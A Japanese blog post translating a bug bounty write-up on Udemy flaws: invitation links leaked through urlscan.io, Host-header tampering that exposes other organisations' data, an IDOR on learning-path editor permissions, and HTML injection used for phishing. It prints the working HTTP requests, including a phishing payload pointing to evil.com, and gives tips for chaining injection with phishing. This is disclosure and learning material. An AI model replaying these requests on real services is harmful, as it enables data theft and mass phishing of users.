Shikata Ga Nai

Private? There is no such things.

From URL dumps digging to IDOR , BAC, Massive Phishing in Udemyを訳してみた

Hello there, ('ω')ノ

 

IDOR、BAC、Udemyの大規模フィッシングまでのURLダンプ掘り出しを。

 

脆弱性:

 壊れたアクセス制御

 情報漏洩

 IDOR

 HTML インジェクション

 

記事:

 https://hector0x.medium.com/from-url-dumps-digging-to-idor-bac-massive-phishing-in-udemy-6fa7f94ef256

 

今回は、いくつかの OSINT フレームワーク ツールを試していたときに、

urlscan.io という Web サイトのマルウェア スキャナに遭遇して。

 

https://urlscan.io/

 

この Web サイトは URL をスキャンしてマルウェアまたは

フィッシング Web サイトである可能性を調べ、送信されたすべてのスキャンは

パブリック アクセス用にアーカイブされ、次の検索ができて。

これは、ドメイン名または URL のキーワードを使用してスキャンし

そこでtwitter 、uber、udemy などの一般的な Web サイトをランダムに

検索し始め。

プライベート インスタンスや、アクセスしにくいパブリック ページを

見つけることができるかもしれず。

そして、https://urlscan.io/search/#page.domain にたどり着きudemy.com と

*.udemy.com/?data=token *.udemy.com/organization/accept-invitation/?email=token

といういくつかの URL が私の注意を引いて。


壊れたアクセス制御 — Udemy:

URLは、Udemy For Businessを使用する多くの企業に属する

ビジネスアカウントへの招待状で。

これらの企業のユーザがマルウェアの招待状URLをスキャンしていたため、

これらの招待状はマルウェアスキャナで時々継続的に漏洩していて。

このバグは、意図したユーザが実際に引き換えたユーザであるかどうかを

確認するための特別な検証を行わずに、誰でもこれらの招待状を請求できるため、

機能していて。


招待状の引き換え

 

追加の検証を要求することで修正されて。

 


情報開示 - Udemy:

Udemyのビジネストライアルアカウントでは、APIにすべてのビジネス機能や

エンドポイントが表示されていなかったので、

トークンの1つを取得して考えられるすべての機能をテストすることにし、

ラーニングパス機能を見つけて。

 

ラーニング パス機能を使用すると、ビジネス組織のメンバーとして

ユーザーまたはモデレータとしてラーニング トラックを作成し、

同じ組織内の他のユーザーとのみ共有できて。

 

すべてのビジネス組織には、他の組織と区別するために

handle.udemy.com のようなハンドル名またはアカウント名があり。


組織の学習パスを開示する:

Burp Suiteを開いて *.udemy.com/learningpaths へのリクエストを

インターセプトしたところ、次の結果が得られて。

 

GET /api-2.0/learning-paths/?page=1&page_size=20&fields[learning_path]=@default,is_user_enrolled,estimated_content_length,num_enrollments,folder_ids,is_owner_in_group&list_type=all&ordering=-created HTTP/1.1
Host: █████.udemy.com
HTTP/1.1 200 OK{“count”:30,”next”:”█████","previous":null,"results":[{"_class":"learning_path","id":█████504,"title":"Ethical Hacking”,”description”:”Path to becoming Ethical Hacker. Learning journey would include Web app hacking, N/W hacking, AD hacking, Privilege escalation and much more.”,”owner”:{“_class”:”user”,”id”:█████6538,”display_name”:”█████S”,”image_50x50":”*","initials":"SP"},"is_public":true,"editors":[{"_class":"user","id":█████6538,"display_name":"█████S”,”image_50x50":”█████","initials":"SP"}],"is_user_enrolled":false,"estimated_content_length":3172,"num_enrollments":2,"folder_ids":,"is_owner_in_group":false},}

 

ホストヘッダのアカウント名を別の組織のアカウント名に変更し、

メンバーデータを含むこれらの組織で作成されたすべてのラーニング パスを

取得して。

API ドキュメントに従って、リクエストにアカウント ID を必要としない

他の API エンドポイントに対して攻撃ベクトルをテストして。


治験実施機関の状況の開示:

GET /api-2.0/organization-trial/status/ HTTP/1.1
Host: █████.udemy.com
HTTP/1.1 200 OK{“available_count”: 5, “active_remaining_days”: 0, “owner_email”: “█████”, “trial_limit_reached”: false, “used_count”: 0, “owner_name”: “█████”, “is_owner”: false, “remaining_seats”: 0}

 

上記と同じ攻撃ベクトルで、ホストヘッダのアカウント名を別の組織に変更し、

組織のトライアルデータを取得して。


安全でない直接オブジェクト参照-Udemy:

テスト中に、リクエストが次の場所に送信されることに気付き。

 

PUT /api-2.0/learning-paths/█████886/permissions/HTTP/1.1
ホスト: █████.udemy.com{"added_editors_ids":,"removed_editors_ids":}

 

リクエスト内のラーニング パス ID をランダムな ID に変更し、

added_editors_ids にユーザー ID を追加して。

最終的なリクエストは次のようになり。

 

PUT /api-2.0/learning-paths/█████886/permissions/ HTTP/1.1
Host: █████.udemy.com{"added_editors_ids":,"removed_editors_ids":}

I changed learning path id to a random one in the request and added my user id in added_editors_ids the final request looks like :

PUT /api-2.0/learning-paths/█████514/permissions/ HTTP/1.1
Host: █████.udemy.com{“added_editors_ids”:[
152495920
],”removed_editors_ids”:}HTTP/1.1 200 OK{"results":[{"_class":"user","id":█████034,"display_name":"█████vschi","image_50x50":"█████","initials":"AP"},{"_class":"user","id":152495920,"display_name":"Mostafa Mamdoh","image_50x50":"█████","initials":"MM"}]}

 

同じ組織または別の組織内の学習パスに自分自身を編集者として追加することも、

removed_editors_ids 値に ID を追加することで編集者を削除することもできて。


HTML インジェクションによる大規模なフィッシング攻撃の可能性:

同じ組織内のメンバー向けに特別に設計されたレコメンド機能を見つけたので、

Burp Suiteを使用してそのリクエストを受け取って。

 

POST /api-2.0/share/course/█████/recommend/ HTTP/1.1-----------------------------374017102511920071852193229569
Content-Disposition: form-data; name="userIds"█████388
-----------------------------374017102511920071852193229569
Content-Disposition: form-data; name="userIds
"█████382
-----------------------------374017102511920071852193229569
Content-Disposition: form-data; name="userIds"█████580
-----------------------------374017102511920071852193229569
Content-Disposition: form-data; name="userIds
"█████083
-----------------------------374017102511920071852193229569
Content-Disposition: form-data; name="userIds"█████288
-----------------------------374017102511920071852193229569
Content-Disposition: form-data; name="userIds
"█████988
-----------------------------374017102511920071852193229569
Content-Disposition: form-data; name="message"<h1>Hey █████</h1>Please go to https://evil.com/accept to redeem your invite <img src="https://pbs.twimg.com/profile_images/810954665202434052/_m3mPbHa_400x400.jpg" alt="Smiley face" width="42" height="42" style="vertical-align:bottom">
-----------------------------374017102511920071852193229569
Content-Disposition: form-data; name="context"ufb_clp
-----------------------------374017102511920071852193229569--

 

これらの機能を使用すると、複数のユーザを同時に推奨でき。

リクエストに多くのユーザ ID を追加し、

https://www.udemy.com/join/signup-popup/ から通常作成した

個人アカウント (ビジネス以外のアカウント) を追加し。

そしてそのメールを受け取って。

 

理論的には、当時エンドポイントがレート制限を実装していなかったので、

すべてのユーザ ID を反復処理することで、個人ユーザまたは企業ユーザを

含むすべてのユーザ (報告時点では約 150000000 ユーザ) に

大量に挿入されたフィッシング コンテンツを送信することができて。

 

TIP:

・パブリック URL アーカイブまたはスキャナを使用して

 プライベート インスタンスを偵察し、または、漏洩したトークンが機密機能に

 属している場合は、https://osintframework.com/ を使用して。

・フィッシング シナリオと連鎖させて、コンテンツ インジェクションの

 影響を高めるようにして。

 

Best regards, (^^ゞ